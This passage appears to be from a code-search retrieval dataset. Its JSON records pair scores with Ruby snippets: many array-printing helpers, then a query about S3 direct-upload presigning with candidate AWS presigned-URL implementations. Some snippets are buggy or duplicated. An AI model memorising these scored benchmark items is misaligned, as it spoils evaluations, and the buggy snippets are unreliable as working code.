"docid": "70d77d3be54f8e4538f93b1f3647a23f", "score": "0.674875", "text": "def printList\n puts \"\\n\" + $digitArray.join(\" \") + \"\\n\\n\"\nend", "title": "" }, { "docid": "6d9f499576eb745012f8020f3a07db16", "score": "0.6737493", "text": "def print_elems(arr)\n arr.each do |i|\n puts i\n end\nend", "title": "" }, { "docid": "6d9f499576eb745012f8020f3a07db16", "score": "0.6737493", "text": "def print_elems(arr)\n arr.each do |i|\n puts i\n end\nend", "title": "" }, { "docid": "313dfd6f4159612ff473c64aa70b00c2", "score": "0.6718779", "text": "def print_array(arr)\n\ti = 0\n\n\twhile i < arr.length\n\t\tputs arr[i]\n\n\t\ti += 1\n\tend\nend", "title": "" }, { "docid": "e5b9ef753664fa7895c7f09c6f351b70", "score": "0.6717193", "text": "def output\n @range.each { |number| puts format(number) } \n end", "title": "" }, { "docid": "f531eb853b8e4a2565f1e4e4529b5e0c", "score": "0.6688743", "text": "def print_arr_1(arr)\n arr.each do |idx|\n puts idx\n end\nend", "title": "" }, { "docid": "05d654c7e1a5508069dccec72cb4604e", "score": "0.6679886", "text": "def output\n @range.each { |number| puts format(number) }\n end", "title": "" }, { "docid": "74daf630bc65be0aaafb7af8ef737e51", "score": "0.6649335", "text": "def show_array(a_bar)\r\n a_bar.each do |a|\r\n print a\r\n print \"\\n\"\r\n end\r\nend", "title": "" }, { "docid": "2e4c2b1b0071315eced29e6a34a6a4ed", "score": "0.6636595", "text": "def output_array(arr)\n for item in arr\n puts item.to_s\n end\nend", "title": "" }, { "docid": "81caef883f9ecde3906fe139586f1f59", "score": "0.6614244", "text": "def print_map\n\t\t@array.each do |row|\n\t\t\trow.each do |cell|\n\t\t\t\tif cell < 0\n\t\t\t\t\tprint 5\n\t\t\t\telsif cell > 0\n\t\t\t\t\tprint 1\n\t\t\t\telse\n\t\t\t\t\tprint 0\n\t\t\t\tend\n\t\t\tend\n\t\t\tputs\n\t\tend\n\tend", "title": "" }, { "docid": "25ae651c403fa6ca4c4424e5336cc72b", "score": "0.6606232", "text": "def display_multi_array\n @multi_array.each {|cell| puts \"#{cell}\"}\n end", "title": "" }, { "docid": "3dfaf2564c5f1261256c2583045b43be", "score": "0.6593172", "text": "def printArray(anArray)\r\n anArray.each{|val| puts val}\r\nend", "title": "" }, { "docid": "215bb7d25f0d722b18f60d9e886923d0", "score": "0.659293", "text": "def print_array(array)\n array.each_with_index {|row, index| puts \"#{index}: #{row.inspect}\"}\n puts \"-----\"\nend", "title": "" }, { "docid": "0051b36d45fa6aeeb6f325703bc89a9b", "score": "0.6580239", "text": "def print_the_array(array)\n\ti = 0\n\tarray.each do |item|\n\t\tprint item\n\t\tif (i < array.length - 1)\n\t\t\tprint ' * '\n\t\tend\n\t\ti += 1\n\tend\nend", "title": "" }, { "docid": "f4ac3cbe78fb0c3bd6fcaa278fcb6e51", "score": "0.65565425", "text": "def output_arr(arr)\n\tarr.each{|item| puts \"* \" + item }\nend", "title": "" }, { "docid": "36ffdac365e5c1c6cdc3b83499349d63", "score": "0.6549293", "text": "def printArrayWithIndex\n\t\t$array_families.each_with_index do |item, index|\n \t\t\tprint \"[index: #{index}, value: #{item}], \"\n\t\tend\n\t\tparagraphAndSeparator\n\tend", "title": "" }, { "docid": "4a402e46e3d09965774eda1da59c0529", "score": "0.65210474", "text": "def printArray(aArray)\n aArray.each{ |x| print x, \" \"}\nend", "title": "" }, { "docid": "35d78f3c08a363bc16491699544085e7", "score": "0.6516567", "text": "def print_piles(array)\n print \"\\n\"\n array.to_a.each do |i|\n print \"#{i[0]}: #{i[1]} \"\n end\n print \"\\n\"\nend", "title": "" }, { "docid": "23b5ed57c074278d272037cb5deb4a26", "score": "0.6500294", "text": "def printlist(arr)\n arr.each_with_index do |h, index|\n puts \"#{index+1}. #{h}\"\n end\n end", "title": "" }, { "docid": "5d1228d3fb464ca40e64465c9bec9dd4", "score": "0.6497368", "text": "def print_arr_1(arr)\n arr.each do |idx|\n puts el\n end\nend", "title": "" }, { "docid": "ba66604072189418e54165099d1b37d2", "score": "0.6496845", "text": "def printArray(anArray)\r\n\tprint \"\\nHere are the elements in your array: \"\r\n\tanArray.each {| item | print \"#{ item } \"}\r\nend", "title": "" }, { "docid": "00daa97e14a9a706201d31b609f002f7", "score": "0.64964545", "text": "def printArray(anArray)\n anArray.each{|val| puts val}\nend", "title": "" }, { "docid": "35657c209ac77790c211917075c20a5d", "score": "0.6496194", "text": "def array_iterate arr \n arr.each { |i| puts i}\nend", "title": "" }, { "docid": "f8535cc7e048e9760e1c498b7b73c0f6", "score": "0.64857817", "text": "def printArray (anArray) \n anArray.each { |x| print x,\" \" }\nend", "title": "" }, { "docid": "e574100aefc66eb76c063a258ec705fb", "score": "0.6485549", "text": "def print_array(array)\r\n for i in 0..array.size - 1 do\r\n print \"#{array[i]} \"\r\n end\r\nend", "title": "" }, { "docid": "e4dfd286320fddebf44f4fa8b9902603", "score": "0.6479434", "text": "def showArrayItems(array)\n array.each { |item| puts item }\nend", "title": "" }, { "docid": "7576011a42025c4c2b28325547b36b0a", "score": "0.6471397", "text": "def print_array_elements_per_line array\n array.join \"\\n\"\n end", "title": "" }, { "docid": "7576011a42025c4c2b28325547b36b0a", "score": "0.6471397", "text": "def print_array_elements_per_line array\n array.join \"\\n\"\n end", "title": "" }, { "docid": "9a1522a955189c5562dbe6753a172b7a", "score": "0.64713293", "text": "def printSoduku(arr)\n (0..8).each do |x| print arr[x],\"\\n\" end\n end", "title": "" }, { "docid": "7de605be483c166436ae1fd1952c1c99", "score": "0.6469962", "text": "def print_array(array)\n array.each do |row|\n row.each do |ele|\n print \"#{ele} \"\n end\n puts\n end\nend", "title": "" }, { "docid": "a22493138e59228f67829bce26b461c8", "score": "0.64538085", "text": "def output\n range.each { |number| puts format(number) }\n end", "title": "" }, { "docid": "a637baa4cae70ff507aea0c8fef31973", "score": "0.6431384", "text": "def printArray(array, size)\n\tfor i in 1..size\n\t\tputs \"\\nThe value at index #{i} is: #{array[i]}\"\n\tend\n\tputs \"\\n\"\nend", "title": "" }, { "docid": "2a249d0b47e4f2c100d3e202eddb8785", "score": "0.640024", "text": "def printnums\n for i in 1..255\n puts i\n end\nend", "title": "" }, { "docid": "fd1e91caa49b6d72752bb775c3c66509", "score": "0.6399489", "text": "def output_array (array)\n counter = 0\n while counter < array.length do\n puts array[counter]\n counter += 1\n end\nend", "title": "" }, { "docid": "744376e1de58fb064468d9c5206e635e", "score": "0.6396616", "text": "def print_values\n print_flat(\"values\")\n end", "title": "" }, { "docid": "9d26b441e1bbf2d84c3852922e4c5445", "score": "0.6386725", "text": "def loop_and_print(array)\n i = 0\n while i < array.length\n yield array[i]\n i += 1\n end\nend", "title": "" }, { "docid": "6f38d309ec5bb6bca1e67c21bed72461", "score": "0.63791007", "text": "def output_array(array)\n i=0\n while i<array.length do\n puts array[i]\n i+=1\n end\nend", "title": "" }, { "docid": "30c80aa620bc9d40d7652d279ace1d90", "score": "0.6377553", "text": "def dump(out)\n @values.each do |value|\n out.printf(\"%d\\n\", value)\n end\n end", "title": "" }, { "docid": "8985fad48970f348b37389281464f39f", "score": "0.6373518", "text": "def value(array)\n array.each { |x| puts x if x % 2 == 0 }\nend", "title": "" }, { "docid": "b259034a750c6594ccad90125334f7a4", "score": "0.63592106", "text": "def output_array(array)\n counter = 0\n while counter < array.length do\n puts array[counter]\n counter += 1\n end\nend", "title": "" }, { "docid": "19403d92b85c61e0b976382d0074a5d3", "score": "0.6345484", "text": "def output_array array\n counter = 0 \n \n while (counter < array.length) do\n puts array[counter]\n counter += 1\n end\nend", "title": "" }, { "docid": "8424becfea327694a384f175487b64a1", "score": "0.6343634", "text": "def print_array(theArray)\n puts \"\\n\\t** Prompting Array **\"\n theArray.each do |theValue, position|\n puts \"\\t\\tArray at position #{position} has the '#{theValue}' value \"\n end\n puts \"-\"*60\nend", "title": "" }, { "docid": "0f6e7591ac039b09cf29897c5da67604", "score": "0.63318765", "text": "def print_array(arr)\n translations_string = case arr.size\n when 1 then \"tłumaczenie\"\n when 2..4 then \"tłumaczenia\"\n else \"tłumaczeń\"\n end\n\n puts \"Znaleziono: #{arr.size} #{translations_string}\"\n arr.each { |el| puts \"- #{el}\" }\n end", "title": "" }, { "docid": "fdc54d0b26434a5d7d7b9fd01597a192", "score": "0.63302433", "text": "def printArray(array)\n\tprint \"[\"\n\tfor i in 0...array.length()\n\t\tprint array[i]\n\t\tif i != array.length() -1\n\t\t\tprint \", \"\n\t\tend\n\tend\n\tprint \"]\\n\"\nend", "title": "" }, { "docid": "128dda7ce50f5803f8136db7bc88c11f", "score": "0.6320284", "text": "def print_array(array)\n raise NotImplementedError\n i = 0 \n\n while array [1] != nil\n print i\n i +1 1\n end\n\nend", "title": "" }, { "docid": "3d73de916bd21202a74c15e9bf70461b", "score": "0.63182086", "text": "def print_odd_indexed_integers(array)\r\n\tarray.each_with_index do |item , index|\r\n\t\tputs item.to_s if index.odd?\r\n\tend\r\nend", "title": "" }, { "docid": "ef6ab30697801d2b76adcbace65f44a7", "score": "0.63147926", "text": "def list_numbers\n\t\t\tputs @collection.join(\"\\t\")\n\t\tend", "title": "" }, { "docid": "437556bc71ffd6deb132904038ca7c6e", "score": "0.631152", "text": "def pp(arr)\n arr.each { |row| p row }\nend", "title": "" }, { "docid": "fad1e7e7bd0fcab53ae2a4239b83196e", "score": "0.6305193", "text": "def printSoduku(arr)\n (0..8).each do |x| print arr[x],\"\\n\" end\nend", "title": "" }, { "docid": "a13fe49560cf6978280bf9ae202eaf4f", "score": "0.62907374", "text": "def write_array_of_int(ary)\n write_array_of_type(:int, :write_int, ary)\n end", "title": "" }, { "docid": "f909e97e6fa97627ef22b867b9e6e05a", "score": "0.6286198", "text": "def print_input(input_array)\n\tinput_array.each { |item| puts item }\nend", "title": "" }, { "docid": "f9708d3f41b45257377d7b7c72b01fe6", "score": "0.62855804", "text": "def printObjectArray(objsArr)\n i = 1\n objsArr.each do |x|\n puts(\"#{i}.\")\n puts(\"=====================================================\")\n x.print\n puts(\"=====================================================\")\n puts\n i+=1\n end #each\n end", "title": "" }, { "docid": "ea942ab729598e76054ce60ccb697b92", "score": "0.6278498", "text": "def display_numbers\r\n puts \"1 | 2 | 3\"\r\n puts \"------------\"\r\n puts \"4 | 5 | 6\"\r\n puts \"------------\"\r\n puts \"7 | 8 | 9\"\r\n end", "title": "" }, { "docid": "c17a8fc119f86ecb3fd49a35afa18d0c", "score": "0.62714946", "text": "def numbers\n\t[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10].each do |print|\n \tputs \"This rad number is #{print}\"\n\tend\nend", "title": "" }, { "docid": "041849a5ef28c02404765ba16190dfe2", "score": "0.6264908", "text": "def print_array(arr)\n i = 0\n while i < arr.length # will be 4 in this case\n puts arr[i] # printing out every element\n # code\n i += 1\n end\nend", "title": "" }, { "docid": "9a2e7dd5768d6183b2e875e252835e17", "score": "0.6255442", "text": "def printToTerminal\n #for each array element in outer @array\n @array.each_with_index do |element,index|\n #for each bit element in inner array\n element.each_with_index do |innerElement, innerIndex|\n #if end of row, print new line to visually represent grid\n if( innerIndex == element.size - 1)\n print innerElement + \"\\n\"\n else\n print innerElement + \" \"\n end\n end\n end\n end", "title": "" }, { "docid": "797297161eef06b675276a57842f2db2", "score": "0.62553257", "text": "def show_values key, value_array\n # elements[:core] outputs the value of the core key turned symbol\n value_array.each_with_index do |a_value, index|\n puts \"#{index+1}. #{a_value}\"\n end\n end", "title": "" }, { "docid": "78dfc4046b33260e3607aba1410bd5d2", "score": "0.62304324", "text": "def iterate(arr)\n\tfor i in 0...arr.length\n\t\tputs arr[i]\n\tend\nend", "title": "" }, { "docid": "7568bd695dfb9a0e09bc1ce93b660594", "score": "0.62218374", "text": "def print_each_item_in_array(items)\n items.each do |item|\n puts item\n end\nend", "title": "" }, { "docid": "59112ee0e36652fe6f19b03b1b0b8eeb", "score": "0.6218259", "text": "def listit(array)\n array.each do |x|\n puts \"* \" + x\n end\nend", "title": "" }, { "docid": "d3e660a2dc02845525847483dd352a71", "score": "0.6203348", "text": "def printInformation(array)\n for i in 0..array.length - 1\n puts (\":: #{array[i].getCode()} :: #{array[i].getTimes()}\")\n end\n end", "title": "" }, { "docid": "bda85f27050d39897813589686e56509", "score": "0.61965805", "text": "def printArray(anArray)\n x = 0\n puts \"The array values will be printed below\"\n while x < anArray.length\n puts \"#{anArray[x]} \\n\"\n x += 1\n end\nend", "title": "" }, { "docid": "b7c360e5991a2b48564ef8ec595cd592", "score": "0.6187635", "text": "def output_array(array)\n count = 0\n while count < array.length do\n puts array[count]\n count += 1\n end\nend", "title": "" }, { "docid": "b7c360e5991a2b48564ef8ec595cd592", "score": "0.6187635", "text": "def output_array(array)\n count = 0\n while count < array.length do\n puts array[count]\n count += 1\n end\nend", "title": "" } ]
d38fff3740d9720b4fcd85246694b17b
Returns URL, params and headers for direct uploads. By default it generates data for a POST request, calling [`Aws::S3::Objectpresigned_post`]. You can also specify `method: :put` to generate data for a PUT request, using [`Aws::S3::Objectpresigned_url`]. Any additional options are forwarded to the underlying AWS SDK method. [`Aws::S3::Objectpresigned_post`]: [`Aws::S3::Objectpresigned_url`]:
[ { "docid": "6aac342ee2a717c792419207e8256359", "score": "0.73207027", "text": "def presign(id, method: :post, **options)\n options = @upload_options.merge(options)\n options[:content_disposition] = encode_content_disposition(options[:content_disposition]) if options[:content_disposition]\n\n if method == :post\n presigned_post = object(id).presigned_post(options)\n\n Struct.new(:method, :url, :fields).new(method, presigned_post.url, presigned_post.fields)\n else\n url = object(id).presigned_url(method, options)\n\n # When any of these options are specified, the corresponding request\n # headers must be included in the upload request.\n headers = {}\n headers[\"Content-Length\"] = options[:content_length] if options[:content_length]\n headers[\"Content-Type\"] = options[:content_type] if options[:content_type]\n headers[\"Content-Disposition\"] = options[:content_disposition] if options[:content_disposition]\n headers[\"Content-Encoding\"] = options[:content_encoding] if options[:content_encoding]\n headers[\"Content-Language\"] = options[:content_language] if options[:content_language]\n headers[\"Content-MD5\"] = options[:content_md5] if options[:content_md5]\n\n { method: method, url: url, headers: headers }\n end\n end", "title": "" } ]
[ { "docid": "cb0330fa66e97fef79e55cfdd64411f9", "score": "0.70357955", "text": "def presigned_upload_url\n filename = signed_url_params # First param is filename\n resource = Aws::S3::Resource.new(client: @s3_client)\n bucket = resource.bucket(Rails.application.credentials.aws[:bucket])\n\n object_key = \"#{filename.split(\".\")[0]}-#{SecureRandom.uuid}.#{filename.split(\".\")[1]}\"\n obj = bucket.object(object_key)\n url = obj.presigned_url(:put)\n render json: { presigned_url: url, object_key: object_key }\n\n rescue NameError\n render json: { error: \"Failed to get presigned URL\" }\n end", "title": "" }, { "docid": "cfa32eb97ec7177160457164b95bbc39", "score": "0.66583055", "text": "def direct_s3_presigned_url\n Stash::Aws::S3.presigned_download_url(s3_key: \"#{resource.s3_dir_name(type: 'data')}/#{upload_file_name}\")\n end", "title": "" }, { "docid": "cfa32eb97ec7177160457164b95bbc39", "score": "0.66583055", "text": "def direct_s3_presigned_url\n Stash::Aws::S3.presigned_download_url(s3_key: \"#{resource.s3_dir_name(type: 'data')}/#{upload_file_name}\")\n end", "title": "" }, { "docid": "6cf51dee478fb0876d53e418d2215255", "score": "0.66052544", "text": "def presigned_url(request, options = {})\n now = Time.now.utc.strftime(\"%Y%m%dT%H%M%SZ\")\n body_digest = options[:body_digest] || hexdigest(request.body)\n\n request.headers['Host'] = host(request.endpoint)\n request.headers.delete('User-Agent')\n\n params = Aws::Query::ParamList.new\n\n request.headers.keys.each do |key|\n if key.match(/^x-amz/i)\n params.set(key, request.headers.delete(key))\n end\n end\n\n params.set(\"X-Amz-Algorithm\", \"AWS4-HMAC-SHA256\")\n params.set(\"X-Amz-Credential\", credential(now))\n params.set(\"X-Amz-Date\", now)\n params.set(\"X-Amz-Expires\", options[:expires_in].to_s)\n params.set(\"X-Amz-SignedHeaders\", signed_headers(request))\n params.set('X-Amz-Security-Token', @credentials.session_token) if\n @credentials.session_token\n\n endpoint = request.endpoint\n if endpoint.query\n endpoint.query += '&' + params.to_s\n else\n endpoint.query = params.to_s\n end\n endpoint.to_s + '&X-Amz-Signature=' + signature(request, now, body_digest)\n end", "title": "" }, { "docid": "8db35da323a8fd2c6bc32cde520d8d2c", "score": "0.66027176", "text": "def get_presigned_url_put(custom_params = nil)\n\n default_val = {\n files: {\n selfie: 'image/jpeg'\n }\n }\n endpoint = \"/api/#{@version}/users-kyc/pre-signed-urls/for-put\"\n\n custom_params = custom_params || default_val\n params = request_parameters(endpoint, custom_params)\n get(params)\n end", "title": "" }, { "docid": "cba741d02bd254c3a3c781261047e942", "score": "0.65981835", "text": "def s3_presign_request\n # s3data = S3_BUCKET.presigned_post(Key: \"alertUploads/#{SecureRandom.uuid}/${filename}\", success_action_status: '201', acl: 'public-read')\n # gon.s3_presigned_data = {\n # fields: s3data.fields,\n # url: S3_ASSET_PATH,\n # content_length: 5.megabyte\n # }\n end", "title": "" }, { "docid": "f9f573b6da095413636847e7bc1f82c3", "score": "0.65727776", "text": "def object_uploaded_to_presigned_url?(\n s3_resource,\n bucket_name,\n object_key,\n object_content,\n http_client = nil\n)\n object = s3_resource.bucket(bucket_name).object(object_key)\n url = URI.parse(object.presigned_url(:put))\n\n if http_client.nil?\n Net::HTTP.start(url.host) do |http|\n http.send_request(\n 'PUT',\n url.request_uri,\n object_content,\n 'content-type' => ''\n )\n end\n else\n http_client.start(url.host) do |http|\n http.send_request(\n 'PUT',\n url.request_uri,\n object_content,\n 'content-type' => ''\n )\n end\n end\n content = object.get.body\n puts \"The presigned URL for the object '#{object_key}' in the bucket \" \\\n \"'#{bucket_name}' is:\\n\\n\"\n puts url\n puts \"\\nUsing this presigned URL to get the content that \" \\\n \"was just uploaded to this object, the object\\'s content is:\\n\\n\"\n puts content.read\n return true\nrescue StandardError => e\n puts \"Error uploading to presigned URL: #{e.message}\"\n return false\nend", "title": "" }, { "docid": "91c22b3254c052d42f6a6ed391cbcb7d", "score": "0.6478234", "text": "def presigned_url\n #Prepare filename\n img_id = SecureRandom.uuid\n name = request.headers['name']\n if name == nil\n name = img_id + \".jpg\" \n end\n name_original = img_id + \"_original\" + File.extname(name)\n\n #Generate presigned url\n presigned_url = S3Storage.get_presigned_url(name_original)\n public_url = S3Storage.get_public_url(name_original)\n\n #Save DB entry\n image = Image.new\n image.image_id = img_id\n image.url_original = public_url\n image.author_id = @public_id\n image.timestamp = Time.current.utc.to_time.to_i\n image.status = Image::STATUS_DEFAULT\n image.storage = Image::STORAGE_AWS_PENDING_UPLOAD\n image.save\n data = {:url => presigned_url, :id => img_id}\n msg = { :result => Constants::RESULT_OK, :data => data }\n respond_to do |format|\n format.json { render :json => msg }\n end\nend", "title": "" }, { "docid": "76ad638333c296f4accf8f9031183d24", "score": "0.6471048", "text": "def upload_url\n options = {\n expires_in: Settings.aws.s3.presigned_url.expires_in,\n acl: 'public-read'\n }\n key = [env_dir, quiz_set_id, file_name].join('/')\n render json: { \n upload_url: S3_BUCKET.object(key).presigned_url(:put, options),\n key: key,\n url: Rails.application.credentials.aws[:s3][:bucket_base_url] + key\n }\n end", "title": "" }, { "docid": "defc476e7f121a16f0402d4f189d60ec", "score": "0.6439763", "text": "def set_s3_direct_post\n @s3_direct_post = S3_BUCKET.presigned_post(key: \"uploads/#{SecureRandom.uuid}/${filename}\", success_action_status: '201', acl: 'public-read')\n end", "title": "" }, { "docid": "c4a2ad00957198cd8b203d4723524287", "score": "0.6355337", "text": "def get_signed_s3_url_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AmazonWebServicesS3Api.get_signed_s3_url ...\"\n end\n # resource path\n local_var_path = \"/amazon/s3/signedposturl\"\n\n # query parameters\n query_params = {}\n query_params[:'filename'] = opts[:'filename'] if !opts[:'filename'].nil?\n query_params[:'content_type'] = opts[:'content_type'] if !opts[:'content_type'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AmazonS3Activity')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AmazonWebServicesS3Api#get_signed_s3_url\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "8676631797ee2c6bcab2d48dc45767fe", "score": "0.63416433", "text": "def presign(id, **options)\n options.delete(:url) # Delete any custom URL passed\n options = upload_options.merge(options)\n object(id).presigned_post(options)\n end", "title": "" }, { "docid": "4e8d8464b1e2250d29b8597391cf1425", "score": "0.62791663", "text": "def post_data(image_upload_path) # image path e.g. 'demo_uploads/'\n post_data = @s3_bucket.presigned_post(key_starts_with: image_upload_path)\n post_data.content_type_starts_with('image/')\n post_data.acl('public-read')\n post_data.key(image_upload_path + '/${filename}')\n post_data.content_type('image/')\n post_data\n end", "title": "" }, { "docid": "587f11459f426f47c28eee46b100c4f2", "score": "0.62733716", "text": "def generate_real_presign(location, options)\n signature = uploader.storage.presign(location, options)\n {url: signature.url, fields: signature.fields}\n end", "title": "" }, { "docid": "587f11459f426f47c28eee46b100c4f2", "score": "0.62733716", "text": "def generate_real_presign(location, options)\n signature = uploader.storage.presign(location, options)\n {url: signature.url, fields: signature.fields}\n end", "title": "" }, { "docid": "587f11459f426f47c28eee46b100c4f2", "score": "0.62733716", "text": "def generate_real_presign(location, options)\n signature = uploader.storage.presign(location, options)\n {url: signature.url, fields: signature.fields}\n end", "title": "" }, { "docid": "cc6927c8d866850f6828717a7f829053", "score": "0.6272142", "text": "def get_s3_bucket_private_url(options)\n s3 = initiate_aws_s3_presigner(options)\n url = s3.presigned_url( :get_object, bucket: options['bucket'], key: options['object'] )\n return url\nend", "title": "" }, { "docid": "85e172a8ace9698fb890d7cb312aa14c", "score": "0.6225266", "text": "def url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:, custom_metadata: {})\n instrument :url, key: key do |payload|\n generated_url = bucket.object_url(path_for(key), false)\n payload[:url] = generated_url\n generated_url\n end\n end", "title": "" }, { "docid": "22a17ed1d1178db5169c6c7a8280b467", "score": "0.621609", "text": "def generate_presign(location, options, request)\n if @presign\n data = @presign.call(location, options, request)\n else\n data = storage.presign(location, **options)\n end\n\n { fields: {}, headers: {} }.merge(data.to_h)\n end", "title": "" }, { "docid": "7fe7c8ec93ff64f3b684a0c228de8903", "score": "0.6148017", "text": "def get_presigned_url_post(custom_params = nil)\n\n default_val = {\n files: {\n residence_proof: 'application/pdf',\n investor_proof_file1: 'application/pdf',\n investor_proof_file2: 'application/pdf',\n document_id: 'image/jpeg',\n selfie: 'image/jpeg'\n }\n }\n endpoint = \"/api/#{@version}/users-kyc/pre-signed-urls/for-post\"\n\n custom_params = custom_params || default_val\n params = request_parameters(endpoint, custom_params)\n get(params)\n end", "title": "" }, { "docid": "ec6ed8e3e119bc647e2d9b385bd79e5d", "score": "0.6125463", "text": "def url_for(method, options = {})\n\n options = options.dup\n options[:expires] = expiration_timestamp(options[:expires])\n options[:secure] = config.use_ssl? unless options.key?(:secure)\n options[:signature_version] ||= config.s3_signature_version\n\n case options[:signature_version]\n when :v3 then presign_v3(method, options)\n# when :v4 then presign_v4(method, options)\n else\n# msg = \"invalid signature version, expected :v3 or :v4, got \"\n msg = \"invalid signature version, expected :v3, got \"\n msg << options[:signature_version].inspect\n raise ArgumentError, msg\n end\n end", "title": "" }, { "docid": "85ecd8e19af209070b91aa224ea7506a", "score": "0.61192733", "text": "def initiate_aws_s3_presigner(options)\n s3 = Aws::S3::Presigner.new(\n :region => options['region'], \n :access_key_id => options['access'],\n :secret_access_key => options['secret']\n )\n return s3\nend", "title": "" }, { "docid": "c5c0186d99b092b22c82617d66c5d904", "score": "0.61014813", "text": "def set_s3_direct_post\n puts \"\\n******* set_s3_direct_post *******\"\n @s3_direct_post = S3_BUCKET.presigned_post(\n key: \"uploads/#{SecureRandom.uuid}/${filename}\",\n success_action_status: '201',\n acl: 'public-read'\n )\n puts\"** @s3_direct_post: #{@s3_direct_post.inspect}\"\n end", "title": "" }, { "docid": "e28ffb1f63236c097856ce399b14bba0", "score": "0.60014534", "text": "def service_url_for_direct_upload(expires_in: ActiveStorage.service_urls_expire_in)\n service.url_for_direct_upload key, expires_in: expires_in, content_type: content_type, content_length: byte_size, checksum: checksum, custom_metadata: custom_metadata\n end", "title": "" }, { "docid": "085ba9007d20150d4e892422b0f00674", "score": "0.59904104", "text": "def presign_put(id, options)\n url = object(id).presigned_url(:put, options)\n\n # When any of these options are specified, the corresponding request\n # headers must be included in the upload request.\n headers = {}\n headers[\"Content-Length\"] = options[:content_length] if options[:content_length]\n headers[\"Content-Type\"] = options[:content_type] if options[:content_type]\n headers[\"Content-Disposition\"] = options[:content_disposition] if options[:content_disposition]\n headers[\"Content-Encoding\"] = options[:content_encoding] if options[:content_encoding]\n headers[\"Content-Language\"] = options[:content_language] if options[:content_language]\n headers[\"Content-MD5\"] = options[:content_md5] if options[:content_md5]\n\n { method: :put, url: url, headers: headers }\n end", "title": "" }, { "docid": "3adc33317fd168448b1ed8b59d3360d4", "score": "0.5932384", "text": "def send_s3_request(method = 'GET', options = {}, &block)\n bucket = options[:bucket] || ''\n key = options[:key] || ''\n parameters = options[:parameters] || {}\n data = options[:data]\n headers = {}\n (options[:headers] || {}).each { |k,v| headers[k.downcase] = v }\n\n #Add the host header\n host_name = \"#{bucket}#{bucket.blank? ? '' : '.'}#{host}\"\n headers['host'] = host_name\n\n # Ensure required headers are in place\n if !data.nil? && headers['content-md5'].nil?\n if data.respond_to?(:read)\n if data.respond_to?(:rewind)\n digest = Digest::MD5.new\n while chunk = data.read(1024 * 1024)\n digest << chunk\n end\n data.rewind\n\n headers['content-md5'] = Base64::encode64(digest.digest).gsub(/\\n/, '')\n end\n else\n headers['content-md5'] = Base64::encode64(Digest::MD5.digest(data)).gsub(/\\n/, '')\n end\n end\n if !data.nil? && headers['content-length'].nil?\n headers['content-length'] = (data.respond_to?(:lstat) ? data.lstat.size : data.size).to_s\n end\n headers['date'] = Time.now.rfc822 if headers['date'].nil?\n headers['content-type'] ||= ''\n if !data.nil?\n headers['expect'] = '100-continue'\n end\n\n signature_string = generate_rest_signature_string(method, bucket, key, parameters, headers)\n puts \"signature_string: \\n#{signature_string}\\n\\n\" if ENV['DEBUG']\n\n signature = sign(signature_string)\n\n headers['authorization'] = \"AWS #{@access_key}:#{signature}\"\n\n url = \"https://#{host_name}#{key[0..0] == '/' ? '' : '/'}#{key}#{parameters.size == 0 ? '' : \"?#{parameters.collect{|k,v| v.nil? ? k.to_s : \"#{CGI::escape(k.to_s)}=#{CGI::escape(v.to_s)}\"}.join('&')}\"}\"\n\n process_request(method, url, headers, data) do |response|\n if response.is_a?(Net::HTTPSuccess)\n if block_given?\n block.call(response)\n else\n response\n end\n else\n raise Awsum::Error.new(response)\n end\n end\n end", "title": "" }, { "docid": "4bc7356736aa77ff17e331abdc2e2ad0", "score": "0.5930828", "text": "def request(method, options)\n host = options.fetch(:host, S3.host)\n path = options.fetch(:path)\n body = options.fetch(:body, nil)\n params = options.fetch(:params, {})\n headers = options.fetch(:headers, {})\n\n # Must be done before adding params\n # Encodes all characters except forward-slash (/) and explicitly legal URL characters\n path = Addressable::URI.escape(path)\n\n if params\n params = params.is_a?(String) ? params : self.class.parse_params(params)\n path << \"?#{params}\"\n end\n\n request = Request.new(@chunk_size, method.to_s.upcase, !!body, method.to_s.upcase != \"HEAD\", path)\n\n headers = self.class.parse_headers(headers)\n headers.each do |key, value|\n request[key] = value\n end\n\n if body\n if body.respond_to?(:read)\n request.body_stream = body\n else\n request.body = body\n end\n request.content_length = body.respond_to?(:lstat) ? body.stat.size : body.size\n end\n\n send_request(host, request)\n end", "title": "" }, { "docid": "b32263cd5713f347aca49742c244c04e", "score": "0.592541", "text": "def presigned_post(options = {})\n PresignedPost.new(bucket, options.merge(:key => key))\n end", "title": "" }, { "docid": "bb3987ba7c6d40057aa014a2c7b0315f", "score": "0.5914722", "text": "def url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:)\n instrument :url_for_direct_upload, key: key do\n options = {\n expires_in: expires_in,\n content_type: content_type,\n content_length: content_length,\n checksum: checksum,\n resource_type: 'auto'\n }\n\n # FIXME: Cloudinary Ruby SDK does't expose an api for signed upload url\n # The expected url is similar to the private_download_url\n # with download replaced with upload\n signed_download_url_for_public_id(key, options)\n .sub(/download/, 'upload')\n end\n end", "title": "" }, { "docid": "cb273a931d2991f37bb77308fb93f4fe", "score": "0.59107447", "text": "def presigned_url(bucket_name:, key:, expires_in:, response_content_type:); end", "title": "" }, { "docid": "cf42b47f1fa3967a2009a35b9cbe681f", "score": "0.589596", "text": "def presign(id, **options)\n @bucket.presigned_post(key: object(id).key, **options)\n end", "title": "" }, { "docid": "1038f724c400a4dbfbe6e765ecc618ca", "score": "0.5888452", "text": "def upload_signature\n request = S3::Service.service_request(:put)\n signature = S3::Signature.generate(host: Ind.backup.host, request: request, access_key_id: params[:accesskey], secret_access_key: params[:secretkey])\n end", "title": "" }, { "docid": "717f8a8a15c5b6eaa9cb69f8888e9e26", "score": "0.587948", "text": "def generate_fake_presign(location, options)\n url = request.url.sub(/presign$/, \"upload\")\n {url: url, fields: {key: location}}\n end", "title": "" }, { "docid": "717f8a8a15c5b6eaa9cb69f8888e9e26", "score": 